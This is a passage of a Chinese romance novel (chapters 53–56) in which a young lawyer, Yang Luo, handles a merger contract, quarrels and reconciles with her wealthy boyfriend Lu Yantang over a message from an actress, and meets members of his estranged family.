唐言声不知打的什么算盘,要她负责一批药业的销售,唐亭谋算着自己的计划,也顺势应了下来。
晚上的时候周诠偷偷来找杨珞,将唐亭放在他那儿的东西交给了杨珞。两人在地库见面,从见面到离开不超过三十秒。上次宴会也是,周诠总是谨小慎微,杨珞觉得两人像是在拍谍战片一样。
周诠交给她的东西是个u盘,她藏到了放日记本的地方,又拿了许多书作掩饰,确认不会被人偷走才安心。
次日她一如既往的去上班,高于名总算在中午下班前交出了第一份答辩状。写的中规中矩,但好在态度认真。
下午杨珞带他去法院调卷宗,路上又将那份答辩状从头到尾点评了一番
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。
陆砚堂想起杨珞的时候,也在这个下午。
昨日陆承熙的公司出了问题,他帮着应付了许多,晚上都是在书房睡的。今天一早就起来去城郊的矿山跑了一趟。
行程实在太赶,回来的路上还在开着跨国会议。山路颠簸,信号也不好,陆砚堂听的有些烦躁。
刚刚结束,程进就递上了新的安排。
“江月集团的并购也进展了一部分,合同部分交给凌睿事务所了,那边的人想当面跟您对接一下,下午四点您看可以吗?”
“跟上次合作有关的那部分吧?”
“是的,牵扯到上次和江山明定的协议。”
“行,四点去办公室吧。”
车子驶上绕城高速,陆砚堂转头看向窗外,高楼大厦一闪而过。他的脑子终于从数不清的工作中空了出来,想起了杨珞。
已经快两天没联系了。
陆砚堂点开杨珞的微信,想给她发个消息,却不知要说什么。
犹豫的瞬间,心头竟突然涌上一丝埋怨。
自己忙的无暇顾及她,她怎么也不知道主动来找?
不过转念一想,下午来对接江月集团的合同,她总会来的。这事儿一直是她负责。
想到这里,陆砚堂才轻轻闭上了眼睛。
陆砚堂回到公司时已经三点半了,进办公室时交代门外的秘书:“凌睿的人来了直接让她进来。”
秘书应下。
刚过了十分钟,内线就告诉陆砚堂律所的人到了。
陆砚堂起身去拿自己收藏柜里杯子。
门开了,响起高跟鞋的声音。
陆砚堂接着水,声音带着几分轻快:“来的挺早,没见你这么积极过。”
“陆总好。”
陆砚堂一愣,转过身去,看到一个陌生女人。
自己怎么把这个忘了。
杨珞早就从凌睿离职了。
陆砚堂放下其中一个杯子,只拿了自己的回到办公桌前。
女人自我介绍:“我是凌睿律所的林谦千,这次主要负责江月集团的并购合同。”
陆砚堂喝了一口水,面无表情。
“材料给我。”
林谦千急忙递上去。
陆砚堂翻看着资料,浓眉微蹙。
“你继续。”
收到指示后林谦千开始汇报并购合同相关事宜,陆砚堂始终没有抬头,边听边看,走马观花,速度极快。
当林谦千说完最后一句话时,等来的只有沉默。
陆砚堂又把资料翻了回去,着重在某几页上圈了一下。诺大的办公室只有纸张翻动的声音。
林谦千觉得手心里出了很多汗,她对陆砚堂早有耳闻,也打听了他的行事作风。本应对此刻的紧张和高压有所预料,可方才刚进门那一声带着亲昵的问候还是让她觉得或许传闻错了。
只不过此时此刻,她发现传闻一点错没有。
“林律师。”
陆砚堂突然开口。
“陆总,我在。”
“你认真看过你写的报告吗?”
林谦千脑子一炸,陆砚堂的目光中尽是审视,即便她来之前信心满满,此刻被这样的眼神注视着,也觉得自己心虚无比。
她当然认真看过,哪里会出错呢?
但陆砚堂似乎没有要听她解释的意思。
“江月集团之前和陵川有合作,所以并购必须考虑到这部分,把陵川的损失降到最低。建议你回去好好把上一次内容再熟悉熟悉。”
林谦千连连道歉,慌乱之中连解释都忘了。
陆砚堂只点了下头,示意可以离开了。
要走之时,陆砚堂忽然道:“江月的案子杨珞还负责吗?”
57. 第53章
从法院大楼出来,高于名垂头丧气的。
卷宗没有调出来,得明天再来一趟。
最让他来气的是法官的态度,高高在上,爱搭不理。
“我真是服了,那法官不正眼看我们也就算了,连那个书记员都趾高气昂的,她谁呀她,连个编制都没有。”
杨珞被高于名的牢骚给逗笑了。
“走出校园的日子不好过吧?”
高于名看着杨珞风轻云淡的样子问:“你就不来气吗?”
“我?我早就习惯了。法律职业,公检法再加上律师,律师的社会地位最低,毕竟他们都是吃公家饭的,我们走的每一步都得靠人家配合,态度差点也自然。”
“既然这样我舅舅为什么要辞了检察院的工作,跑出来做律师啊?当个检察官耀武扬威的不好吗?”
杨珞看着高于名不知柴米油盐贵的样子,笑道:“因为律师赚得多啊,体制内的哪有那么多钱,你舅舅这条路子走的不错,先在检察院那边把人脉积攒下来,然后出来做律师,自然好上手。”
高于名若有所思,他对这个行业突然有了新的认知。
“你也别垂头丧气的,你现在还在上学,还有很多选择的机会。大不了以后考公嘛。”
高于名撇了撇嘴:“但是我不喜欢那种朝九晚五的生活,我还是想自由点。”
杨珞笑了:“自由?自由是你想想就能有的吗?官做大了也会自由,钱赚多了也能自由。重点不是干什么行业,而是你做到什么位置,只要你位置够高,都可以尽可能的自由。”
“做律师呢?不会一辈子都看人白眼吧?”
“当然不会啦,你去看看西京的红圈所,再看看那些已经做到TOP级的律师,法官见了他们也会客客气气的。”
两人坐进车里,高于名侧头看了眼杨珞,太阳还没下山,光线照的她有些睁不开眼,杨珞拿出一副墨镜戴上,启动了车子。
他以前并未关注过这个师傅的私人信息,甚至看她年轻漂亮,没把她真的当师傅。只不过方才一席话,他才发觉自己真的像个涉世未深的小孩儿。
“师傅,你工作几年了?”
“马上两年了。”
“两年?才两年你就这么成熟了?”
杨珞笑了笑:“我这两年工作强度很高的。”
“这么拼啊。”
杨珞没说话,心底不经意的划过曾经的记忆。
回到律所后,杨珞意外的接到了张凌睿的电话。拜托她第二天去陵川对接江月集团的案子。杨珞疑惑,她自离职后该交接的都交接完了,怎么会突然让她去?
张凌睿:“我们现在在做江月集团的并购案,涉及到上次他们和陵川合作的事情,昨天我叫小林去见了陆总,结果汇报的一塌糊涂,被人给骂出来了。”
杨珞:“没这么严重吧?”
杨珞实在想象不出陆砚堂会骂人,他只会居高临下的看着别人,带着似有若无的蔑视,让人觉得自惭形秽。
“别提了,上次那个合作方案还是你最了解,要不还你去对接一下?我让小林先跟你聊一下。”
杨珞觉得不可思议,哪有把离职的员工再拉回来干活的道理,就算林谦千对接的再不行,也是后续下了功夫再去汇报。她能顶上一次,难不成后续次次都要她收拾烂摊子?
杨珞心里琢磨着,问道:“让我去对接,是你的意思?”
张凌睿何其聪明,瞬间明白了杨珞的意思。
“怎么会呢,上面不发话,我怎么好意思麻烦你呢。小杨啊,杨大美女,你就帮帮我啦。”
杨珞耐不住张凌睿的软磨硬泡,应了下来。
回到律所,林谦千将近期的材料都发了过来。杨珞又详细的看了林谦千的汇报内容,做的很详细,但确实有纰漏。
重点还是在陆砚堂引江山明入局的那次合作上。
陵川以身入局,现在想要全身而退,无论是这次的谈判还是合同的草拟,都要慎之又慎。
但再怎么说,江月集团大势已去,即便是小的纰漏也不难弥补。
陆砚堂搞这么一出,怕是故意的。
杨珞想到这里,拿出手机打算给陆砚堂打电话,刚刚拨通,立马就挂了。
凭什么?
杨珞突然跟他较劲儿起来。
就不。
杨珞把材料从头到尾看了好几遍,猛然反应过来,自己真像个热恋的少女,因为对方的忽冷忽热而患得患失。
她既觉得陌生,也觉得有些害怕。
她不想在这段前途未卜的感情里迷失自我。
杨珞没有直接和陆砚堂联系,公事公办的向总裁秘书约了时间。
下午三点,杨珞准时到陵川大厦。
秘书见过杨珞多次,迎她到办公室一侧的咖啡厅。陆砚堂的会议还没有结束,杨珞坐在这里等他。
陆砚堂的会议室也在这一层,杨珞所坐的位置偏南,正好能看到会议室的一角。
透过玻璃百叶窗的间隙,杨珞看到陆砚堂站在前面讲着什么,目光坚定,面色严肃。
他办正事时总是透着不怒自威的气场,叫人望而生畏。
目光一转,杨珞突然看到了左侧坐着的一个男人。
就那一眼,杨珞惊诧不已。
那男人上了岁数,大约五六十岁,与旁人正襟危坐的模样不同,男人靠在椅子上,微微闭着眼睛,并没有看陆砚堂。可眉眼间的严肃却能看出他听的颇为认真。
杨珞从没见过陆砚堂的家人,可几乎断定这男人就是陆砚堂的父亲。
两人实在太像了,除去本就相似的外表,浑身上下透出的矜贵而冷冽的气质如出一辙。
“杨小姐。”
杨珞回神,被吓了一跳,转头发现程进站在自己身旁。
“阿进。”
程进顺着她的目光朝会议室看了一眼,说:“陆先生在开一个很重要的会,应该快结束了,你去办公室等他吧。”
杨珞又朝办公室望了一眼,问:“坐在他身边的,是他父亲吗?”
程进目光看过去,而后点了点头:“是。”
杨珞笑道:“真不愧是父子,他们两个可真像。”
程进却无半点笑意,欲言又止。
杨珞察觉到什么,好奇地问:“怎么了?”
程进犹豫一秒,言简意赅:“陆先生和老陆总的关系比
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较紧张。”
杨珞了然,收起打探的心思。
“谢谢你阿进。”
“没事,进去吧。”
办公室的温度比外面要凉上一些,她不是第一次来,但以往总是小心翼翼,带着对这个男人的畏惧。
今天她大胆了些,踱步在宽敞奢华的房间,打量着细枝末节的装饰。
窗边放着一束花,同整个房间的装饰格格不入,应当是秘书放的。里侧的衣柜里挂着两件衣服,一套西服,一套休闲装。茶台处有两盒冲剂,是缓解胃痛的。
还有一个玻璃柜子,放满了各式各样的杯子。
杨珞兴致极高的打开了柜子,像是打开潘多拉的盒子,惊喜的发现这个一丝不苟的男人也有不为人知的收集癖。
杯子摆放的很整齐,最上面两层是玻璃杯,有的大气简约,有的精致古怪。
杨珞正端详着,陆砚堂推门进来。看到她站在里面,满眼好奇地打量着自己的收藏品。
他的办公室以书桌为界,隔开了自己和别人。
杨珞堂而皇之的越过了那条线。
陆砚堂自然而然的接受了。
“好玩吗?”
杨珞转头,发现陆砚堂正笑看着自己。
她被抓包了,却也不怕。
“好玩儿,贵的东西都好玩儿。”
陆砚堂笑了一声:“最贵的东西你都玩过了,还看得上旁的?”
他没忘了在波尔多那晚两人的打趣,饶有兴致的看杨珞的反应。
杨珞关上柜子,细眉微挑:“陆先生可不要自轻自贱啊。”
陆砚堂将手中的文件扔到沙发上,顺手反锁了门。
杨珞瞧见他的动作,立马指了指手里的材料。
“我今天可是来聊公事的。”
“我知道。”
“那你锁门干什么。”
“方便。”
几句话的功夫,陆砚堂已走到杨珞面前,直勾勾的盯着她。
杨珞不知是羞还是怯,对视几秒便别开了眼睛。
“那个并购案的合同我都弄明白了。”
她说着就要往外拿材料,却被陆砚堂打断了。
“我让法务那边重新写,都弄好了。”
杨珞不可置信的看着他:“都弄好了?那我还跑来一趟干什么?”
陆砚堂:“不想个法子把你骗过来,你也不知道主动上门啊。”
陆砚堂的话让杨珞措手不及,半晌才反应过来自己该生气才是。
“你怎么不来找我?”
“我这不把你找来了吗?”
“这是你以工作名义找的我,搞得像偷情一样。”
杨珞说着,又瞥了眼反锁的门。
陆砚堂嘴角挂起一抹不怀好意的笑,说:“我就想看看你这大忙人有多忙,是不是一点空都没了?”
杨珞撇嘴:“我哪儿有你忙。”
“你知道我忙,还要跟我置气,故意不理我?”
陆砚堂一语戳破了她的心思,杨珞红了脸,只好道:“我是怕打扰你。”
陆砚堂捏捏她的脸:“你是分了我不少心思,可我什么时候说你打扰过我?”
58. 第54章
从未打扰过他,这话里的意思再明显不过了。
她这几天是有较劲儿的意思,是因为平常人的恋爱就是整日联系,整日聊些没用的废话,到他这儿却冷冷清清的。
她不够了解陆砚堂,也不知一场爱情在他这里是如何进行,所以只好静观其变。
小女孩的心思,有时候就这么别扭。
陆砚堂在沙发处坐下,冲她招招手。
“过来。”
杨珞站着没动,陆砚堂也不急,神情自若地看着她,但强势但目光却让人无法抗拒。
对视片刻,杨珞败下阵来,走到他身前。陆砚堂伸手一览,将人按坐在腿上。
陆砚堂:“没话说了?”
杨珞哼了一声:“你这是恶人先告状,就算是我故意的又怎么样,难不成全是我的错?”
陆砚堂瞧她不肯服输的样子,愈发觉得好笑了。
“集团在东城出了点事儿,前两天连夜赶过去,烂摊子收拾到夜里两点多。前天中午才赶回来,下午加晚上开了三个会,夜里也没睡好。昨天又去郊区矿中跑了一趟,上午集团内部的股东会,现在才算闲了一会儿。”
他们离得很近,低沉的声音和似有若无的气息,向她汇报着这几日一件件的行程。
杨珞脸颊微红:“你跟我说这些做什么?”
陆砚堂:“我真的很忙。有时候忙起来什么都顾不上,我不见得能时时刻刻想起你,但是你可以找我,看到你找我,我也喜欢。”
杨珞怔怔的看着他,没想到陆砚堂这样的人也能说出这种话,患得患失之间,她也不知道该说什么了。
陆砚堂看着她眼里复杂的神情,沉默半晌,笑道:“太久没跟女人这么相处了。”
这话终于把杨珞逗笑了,陆砚堂将她越抱越紧。惊讶的何止是杨珞,陆砚堂都对眼前的杨珞感到陌生。以往只见她坚韧,清醒,有时带着男人的刚硬,可此刻动情起来却是如此娇羞的小女人,会闹小脾气,也会含情脉脉的望着他。
陆砚堂低头在她唇上轻啄了一下,不急着深入,细细观察她脸上一丝一毫的反应。待她闭上眼睛朝自己靠近,才重重的吻了下去。
许久,两人意犹未尽的分开。
陆砚堂看了眼腕上的表,道:“一会儿我让程进把最新的方案拿过来,你给张凌睿送去,。我现在要出去忙一会儿,晚上一起吃饭。”
杨珞点了点头:“好啊,现在都四点了,你要忙到什么时候?”
陆砚堂思索片刻:“很快,你在这儿呆着,等结束我们一起走。”
“嗯嗯。”
杨珞抱着陆砚堂的脖子,轻轻在他脸颊上亲了一口。
陆砚堂声音又沉又哑:“这么舍不得我,不如晚上也别走了。”
杨珞红着脸推开他:“忙你的去吧。”
陆砚堂走后,杨珞就更肆无忌惮的在他办公室里闲逛了,她挑了个喜欢的杯子为自己沏一杯茶,而后坐在陆砚堂宽大的老板椅上,幻想着他每日大权在握、睥睨天下的感觉。
正做着白日梦,电脑突然响了一下。
陆砚堂的微信还在电脑上登陆着,一条刚发来的微信,好巧不巧的落入了杨珞眼中。
白秋瑞:“砚堂,晚上要不要一起吃个饭呀?”
杨珞愣了一秒,下意识要去点开对话框,可刚触碰到鼠标又收回了手。
她不该随意踏破这条边界。
她盯着空荡荡的电脑屏幕,恢复着自己被恋爱泡泡淹没的理智。
他是陆砚堂,不是什么大街上随便抓来的男人。
杨珞默默从办公椅上起身,坐回了沙发。
白秋瑞,炙手可热的女明星。上次跟着林纪泽去参加晚宴那天,她见到过。也看到了白秋瑞和陆砚堂在一起的身影。
杨珞摇了摇头,不愿意胡思乱想下去。她在沙发上等着程进从并购书过来,等了二十分钟,程进没等到,等到了推门而入的女人。
门开的太突然,带着怒气冲冲的气势,吓了杨珞一跳。
她急忙起身,门口的女人也是一愣,两人相顾无言。
程进小跑着跟上来:“大小……”
话还没说完,就瞧见屋里剑弩拔张的一幕,自觉在门口禁了声。
杨珞细细地打量着眼前的女人,一股无声而华贵的气场萦绕在她身侧,她猜不出女人的年纪,并非年轻之辈却实在美丽,一身黑色绸缎裙尽显雍容大气,眉目间全是傲气,带着不小的怒意,却在和杨珞的对视间多了几分轻蔑。
杨珞问道:“您是?”
陆繁君并没有回答她,饶有兴致的走进陆砚堂的办公室,步伐很慢,肆无忌惮的看着杨珞,从上到下,像是打量一件有趣的物件。
程进站在门口,些许诧异的盯着屋里的情境。
两个女人,两种气场,静默无声。
一个阴冷孤傲,一个不卑不亢。
落日余晖将她们分在一亮一暗,叫人挪不开眼睛。
陆繁君在杨珞面前驻足,话未出口,先是冷笑。
“敢这么问我,你是陆砚堂的女人吧?”
杨珞直视陆繁君,察觉来者不善,她淡淡一笑:“你好,我是杨珞。”
陆繁君微微挑眉,而后意味深长笑了笑。她没有任何回应,转身大步离开,只剩杨珞莫名其妙的留在原地。
程进目送陆繁君离开,急忙进屋向杨珞解释:“杨小姐,对不住了,这位是陆先生的姐姐,陆繁君。”
杨珞从未听陆砚堂聊起过他的家人,今儿一天就见了两个。不用说,就凭陆繁君对自己的态度,她和陆砚堂的关系也好不到哪儿去。
杨珞哭笑不得:“他这一家子,真够奇怪的。”
程进陪笑道:“大小姐找陆先生有事儿,但他这会儿忙着,我劝了半天也没劝走。你稍等一会儿,我现在去拿并购书。”
“我不急的。”
程进还是很快送来了并购书,杨珞在等陆砚堂的间隙将东西看了一遍,的确比昨日林谦千做的要好得多。
杨珞看了看表,已经五点半了,正想陆砚堂什么时候结束,就接到了他的电话。
“我今晚有点事,没法陪你吃饭了。”
杨珞心底沉了下,平静道:“嗯,没事。”
“一会儿让程进接你回家,家里有阿姨,想吃什么让她给你做点,晚一点我回去。”
杨珞还没回答
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,那头的电话就挂了,陆砚堂没有给她拒绝的机会。
回家?
外边陪着一个,家里还等着一个。
真是会享受。
杨珞不自觉的把他有事儿和白秋瑞联系了起来,越想越郁闷。
不过片刻程进便来接她了,杨珞虽有闷气,却也还是跟着去了。
42楼会议厅,陆繁君终于寻到了陆砚堂。
“陆大忙人,真是让我好找啊。”
会议厅还有些其他人,看到陆繁君大摇大摆的走进来均是一愣,在场不少人认得陆繁君,也知道这位大小姐的行事作风,此刻站在这儿进退两难。陆砚堂的表情却丝毫不意外,仿佛知道她会找来,于是示意其他人可以离开了。
顷刻间空荡荡的会议厅就只剩下这姐弟二人。
陆砚堂:“何出此言?”
陆繁君倚在会议桌旁,眼里透着不耐烦:“我来要我的画,再看看你这葫芦里究竟卖的什么药。”
陆砚堂:“巧了,我这两天正要去找你呢。”
陆繁君:“说吧,要我帮什么忙。”
陆繁君没忘了陆砚堂要和她做的交易。
陆砚堂将手中的拿的Pad放到一边,踱步到陆繁君眼前:“那我就开门见山了。郊外的矿山给了林尊儒,陈絮那里我得给个交代。现在陆承熙缠她缠的紧,我不好出面,想让你帮忙带个话。”
陆繁君的脸色渐渐冷下来:“你又不是不知道,我现在和刘家老死不相往来,怎么好带话呢?”
陆砚堂:“一日夫妻百日恩,刘瑜死了是他咎由自取,怨不得你。”
“你也知道我这个前婆婆容不下我,这忙我帮不了。”
陆繁君转身要走,身后忽然道:“我没说让你去找陈絮,我说的是你那小叔子,刘琛。”
陆繁君回头,目光阴凉。
陆砚堂背对着她,神形潇洒。
“陈絮老了,大儿子又死了,刘家以后迟早是刘琛说了算。你和这个小叔子一直关系都还不错,不至于闹僵吧。”
陆繁君冷笑道:“这个忙我要是忙不了呢?”
陆砚堂回头:“帮不了就帮不了。画我已经叫人送到你家了,其余的事情,你看心情。反正不管我和陆承熙谁搭上刘家,都少不了你那份儿的。”
陆砚堂和陆承熙的能耐孰高孰低,陆繁君心里还是清楚的。
她转过身来,静默无声的看着眼前的男人,已然是成熟矜贵,浑身都透着让人望而生畏的肃穆,早就不是二十年前那个楚楚可怜的小孩子了。她忽的一笑:“陆砚堂啊陆砚堂,老爷子当年接你回陆家,眼睛可真毒啊。”
陆砚堂颔首示意:“阿姐,我就当你夸我了。”
陆繁君转身离开,到门口时忽的停住脚步。
“对了,我刚才在办公室见到你的那个女人了。”
陆砚堂的笑容渐渐收敛。
陆繁君:“你呀,跟陆军山可真是像。模样像,手段像,就连金屋藏娇的女人,也都像。”她说着,大笑不止,无比刺耳。
陆砚堂的脸色沉下来。
“我的好弟弟啊,你可要小心一点,不要让她落得跟你母亲一个下场。”
59. 第55章
杨珞跟着程进回了陆砚堂的家。
这是她第一次来这里,却没成想身边的人并不是陆砚堂。
他的别墅坐落在市区的黄金地段,四周高楼林立,车水马龙,但一进入大门,一切都变得宁静而优雅。别墅的外观有大面积的玻璃幕墙,使得室内外景观融为一体,无论从哪个角度望去,都能感受到一种通透和开阔。
如此现代化的建筑,不符合他这个老干部的风格。
程进领她进门:“这是陆先生最经常住的地方,离公司比较近。”
进了别墅,一位五十来岁的女人迎了出来,亲切的招呼程进。
“阿进,回来了呀。”
说完略显疑惑的看向杨珞。
程进向杨珞介绍:“这是赵姨,跟着陆先生很多年了。”
又转向赵姨:“这是杨小姐,陆先生的女朋友。”
赵姨欢喜的去拉杨珞的手:“这孩子,什么时候交了个女朋友,我都不知道,快进来。”
杨珞婉婉一笑:“您叫我杨珞就行。”
程进没有留下吃饭,只剩下赵姨和杨珞两个人,显得空荡无比。
“砚堂平日里不喜欢家里人多,都是白天的时候来些人打扫打扫,晚上这里就他一个人。”
赵姨做饭的间隙杨珞四处逛了逛,陆砚堂的房子不算高,室内看着只有三层,弧型扶梯衔接。房间也并不多,整体空旷通亮,透过眼前的玻璃墙能看到此刻的落日和晚霞,是极美的景象。
门外是一片面积不菲的草坪,沿着围栏种了些梧桐树,绕去后方最大的那棵树下有一处茶桌,透着几分闲情逸致。
有草无花,更无其他多余的装饰,杨珞看着总觉得少了些人气。
杨珞溜达一圈回去,天色已经彻底暗了下来,赵姨已经做好饭菜在等她。
“给你做了几道我的拿手菜,这个是东江酿豆腐,这个是蜜汁鲍鱼。这两个是粤菜,平时砚堂喜欢吃。我听你说话应该是本地人,给你做了个葱烧海参和上汤奶白菜。”
“谢谢赵姨。”
赵姨菜烧的不算多,但两人吃也着实多了。
席间赵姨一直和杨珞聊天,问她多大年纪,问她做什么工作的,谈到陆砚堂没日没夜的在外头忙,眼里透着几分无可奈何的生气,但更多的仍是心疼。
杨珞端着饭碗,默默垂下眼帘。
她觉得奇妙无比。
诺大的陆家,父子无爱,姐弟无亲,倒是一个非亲非故的保姆透着满满的慈母之心。
晚饭过后,两人又坐在饭桌前聊了许久。杨珞觉得自己身上能被扒出来的的东西都扒出来了,实在不知有什么好聊的了。
终于熬到九点,陆砚堂回来了。
杨珞还没开口,赵姨埋怨道:“人家等了你几个小时,你再不回来天都要亮了。”
陆砚堂笑了笑:“我的错。赵姨,你快回去休息吧,让老七送你。”
赵姨离开后,屋里只剩下他们,杨珞懒散的坐在餐椅上,陆砚堂稍显疲惫的站在一旁,双臂撑着,自上而下的看着她,而后缓缓升起一丝笑意。
“以往我回家的时候,一个人都没有。”
杨珞迎着他的目光:“赵姨说你不喜欢人多。”
陆砚堂脱掉外套,又松了松领带:“无关紧要的人自然不需要多。”
陆砚堂去换了身舒服的衣服,而后带杨珞去一楼侧厅的茶室。
陆砚堂泡茶的样子比她娴熟的多,四下沉寂,只有茶器碰撞的声音。
“赵姨做的菜怎么样?”
“很好吃。”
“她做粤菜最好,其他的也不错,以后你想吃什么就跟她说。”
“赵姨很关心你,你们是不是很亲近?”
陆砚堂抬眼。
“是,我很小的时候就来我们家了,那时候她还没生孩子,现在儿子都念研究生了。”
“那他儿子很优秀啊。”
陆砚堂点了点头,将泡好的茶端给她。
茶香难掩杨珞心中的郁闷,她开始没话找话起来。
她问:“你吃饭了吗?”
“吃过了。”
“吃的什么?”
“法餐。”
“好吃吗?”
陆砚堂顿了一下,笑道:“明天带你去尝尝。”
杨珞低头:“我才不去。”
陆砚堂微怔,发觉杨珞今天有点小脾气。
杨珞放下杯子,又问:“你晚上忙什么了?”
“和人谈点事情,下午临时约的,又推不掉。”
“什么事这么急啊?”
陆砚堂些许无奈的摇了摇头:“不提了,都是些难应付的事。”
杨珞面无表情:“应付完外面的,还要应付家里的,确实难。”
陆砚堂再次愣住了,有些莫名其妙。
“今晚赵姨做的是炸药吗?怎么吃了一肚子火气?”
杨珞看着陆砚堂,两人四目相对,她欲言又止。
陆砚堂:“发生什么事了?”
杨珞终于小心翼翼的问:“你在外面有别的女人吗?”
她一直在想这个问题,陆砚堂这样的条件,女人趋之若鹜并不奇怪。他想要莺莺燕燕,也是男人本性。
陆砚堂愣了一瞬,失笑道:“我看起来很有时间,还是很有精力?你一个我都怕顾不来。”
杨珞低头:“我就是问问。”
“白秋瑞呢?”
陆砚堂脑海里闪过一丝回忆,终于将她的情绪搞懂了。
他笑道:“看到她给我发的消息了?”
杨珞:“我不是故意看的,是我往那儿一坐,她刚好发过来。”
“我说怎么跟吃了炮仗一样,原来吃了醋。”
陆砚堂越是一副神情自若的模样,她越是来气。
“谁说我晚上跟她在一起的。是维新药业的老总约我晚上谈事情,白秋瑞是约了我,但是我拒绝了。”
杨珞沉默不语,愈发觉得自己可笑。
拒绝一次还会有下次,真拿自己当盘菜了,还能管得住美人投怀送抱吗?
陆砚堂:“我这个人比较挑,要是随便哪个女人都行,也用不着花那么多力气把你留下。我不是来找你做情人的,我没有三妻四妾的习惯。”
陆砚堂看着她许久,问:“你既然因为这个心里不舒服,为什么不一开始就问我,何必气自己这么久?”
杨珞犹豫道:“我不知道自己该不该问。”
陆砚堂:“什么叫该不该问?”
杨珞默不作声,甚至不敢和陆砚堂对视。她真的不知道该不该问。她更知道两个人实际上并不平等。
她喜欢陆砚堂,但这种喜欢除了纯粹的爱情,还有一份恩情。
这份恩情并不小,裹挟着她在这份爱情里的自由,连带着那分纯粹的情意一起,让自己别无选择的和他在一起。
可明明他们就
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是两个世界的人,做人做事,爱恨情仇,都是天壤之别。
“为什么不该问?”
他又问了一遍,声音突然严肃起来,带着叫人不容躲避的神情,无法忽视的压迫感让杨珞只好从实招来。
杨珞抬头,看着他的眼睛:“我不知道在你的世界里,感情到底要遵循什么样的规则。”
不知道自己是否唯一,还是要对其他的女人装聋作哑。不知自己是否该识趣,做那个无伤大雅的花瓶。更不知道两人的关系如何界定,是当下的欢愉,还是携手向前。
陆砚堂沉默许久,问道:“你心里在怕我?”
杨珞别开目光,一言不发却溢于言表。
她这些日子过的并不痛快,每日心情都跌宕起伏,喜悦的的时候无与伦比,失落的时候又憋闷异常。
她觉得自己前所未有的拧巴,想要试探却恐惧他的威严,囿于自己对他的亏欠之情。
陆砚堂一字一句都告诉她随她定义,给她自由。可做的事桩桩件件都诱她不得不走向那个温柔圈套。
杨珞有时甚至觉得,陆砚堂口中的自由都来自他的恩赐。可恩赐的自由又谈何自由?
她想肆意谈情,敢爱敢恨,可良心却忘不了陆砚堂为她所做的一切。但若只谈报恩,公事公办,却也放不下自己对他的爱慕。
陆砚堂直视她的眼睛:“杨珞,我的爱情里没有规则,如果一定要有,就以你的规则为准。”
杨珞心跳漏了一拍,静默无声。
陆砚堂走到她身前,身子微低,与她平视:“我费那么多心思,就为了跟你将就?”他轻笑,仿佛在看为一个小玩意儿患得患失的小孩儿,看她那波涛汹涌的情绪在他眼里是多么渺小和幼稚。“你以前可不会这么小心翼翼。”
千万思绪揉杂在杨珞心里,每当她寸步难行时,陆砚堂总是轻而易举的扫清她心中的阴霾。她埋怨道:“以前我也不喜欢你。”
陆砚堂:“关心则乱,情有可原。”
杨珞不说话,可几番情绪起伏,已经微微红了眼眶。陆砚堂逗她:“我可是让你自己选好了的,这会儿又哭上了?不许后悔了。”
陆砚堂拉着杨珞坐下:“跟我说说你的规则,有了规章制度,以后我才好不惹你生气啊。”
杨珞张了张口,却难一下子说出来。陆砚堂看出了她的窘迫,说:“不如你有什么想问的,问问我也可以。”
纵然陆砚堂此刻宠她在心尖上,杨珞也知道两人之间绝没有到毫无界限的地步。要说有什么要问的,无非也就是问问两人的界限到底在哪里。
“你把我当女朋友吗?正紧的那种,一对一的。”
陆砚堂看着她,郑重其事:“正经的不能再正经了。”
杨珞点了点头,大概知道了自己的位置。
“还有其他要问的吗?”
杨珞:“没有了。”
“只问这个就够了?”
“那你还有什么别的要坦白的?”
陆砚堂捏她的下巴:“开始诱供了?”
杨珞笑着躲开:“你这是做贼心虚。”
陆砚堂陪她闹了会儿,忽然停了动作,安静的看着杨珞,这样儿女情长,日常琐碎的交流,在陆砚堂的生命中稀少的可怜。
他觉得杨珞身上有着与他截然相反的东西,赤诚,感性,简单。此刻坐在她身边,看似没有实质意义的问询,反倒让他从那个刀光剑影的浮华世界落到了烟火人间。
60. 第56章
“为什么这样看着我?”
杨珞从陆砚堂眼中看到一丝出神的寂寞。
陆砚堂垂眸一瞬,再抬眼时落寞已经荡然无存,很快转换了话题。
“今天你遇到陆繁君了?”
“陆繁君?”杨珞反应了一下:“你姐姐啊,是遇到了。”
“她跟你说什么了吗?”
“什么都没说,我一开始不认识她,问她也不理我,有些怪怪的。”
“她就这样,不用理她。”
杨珞观察着陆砚堂的表情,在提到陆繁君时极为平淡。想起白日里见过的他的两个亲人,心里难免有些七七八八的想法。
可程进已经好心提醒,她也不会故意去触陆砚堂的霉头。
陆砚堂:“茶喝完了吗?”
杨珞看了看空杯子:“嗯呢。”
“刚喝了茶怕是睡不着,带你看看我家。”
杨珞跟着陆砚堂起身。
“我不喜欢家里有杂人,平常就我一个人住,房子不算大。”
“这还不大?”
“房间小,太空了觉着不舒服,一楼就是客厅、茶厅之类的,你都看过了吧。”
“嗯,赵姨给我介绍过了。”
“二楼上去过吗?”
“没呢,你没回来我不敢去。”
陆砚堂拉起她的手:“我带你瞧瞧。”
杨珞跟着陆砚堂看了二楼的布置,西侧有个健身房,放着一些必备的健身器械。没有客房,一个茶室,一个书房。规规矩矩,没有太多生活的气息。
可这房子不只有两层,东侧楼梯还通往上面,但陆砚堂却避而不谈。
“三楼是什么?”
“是酒库,晚上容易着凉,想看的话白天带你去。”
陆砚堂领着杨珞去了卧室,浅灰色的基调加之意大利简约的风格,很是大气。阿姨将这里收拾的井井有条,如酒店一般。
“这就是我睡觉的地方了。”
“这么整齐啊,一点人气儿都没。”
陆砚堂笑了笑:“怎么着算有人气儿?脏衣服满地堆?”
杨珞:“那倒也不至于,不过你这也板正了,我都不好意思下脚了。”
陆砚堂想了想:“是比你那儿板正的多。”
他这是在笑她房间乱呢。
杨珞踱步到窗边,正好能看到草坪里的那个小茶几,西京虽灯火通明,但这里的夜景也有几分幽静。
陆砚堂:“院子里要去看看吗?”
杨珞:“你没回来的时候我在院子里转过了,太冷清了。”
“你嫌冷清,想添些什么就添一点。”
“不怕我打乱你的布置?”
“这不是我的布置,是设计师的,我不讲究这个。”
“你连自己的家都不讲究,这可是你吃饭睡觉的地方啊。”
陆砚堂将她从窗边拉回,坐到床上:“有人的地方才是家。”
杨珞仰头看他,打趣道:“我算人吗?”
陆砚堂捏捏她的手:“难不成我请了个女鬼过来?”
“指不定真是呢,梦里趁你不留神,索你到阴曹地府去。”
陆砚堂微微靠近,声音低沉:“那你可得给我安排个好梦,最好是个春/梦,不然我可不心甘情愿的跟你走。”
杨珞红了脸,她发现越是正经的人,越会不正经。
陆砚堂顺势吻上杨珞,让她跌在柔软的床上。
次日一早,杨珞在陆砚堂的床上醒来,她觉得陌生,伸手往旁边摸去,又是摸了空。
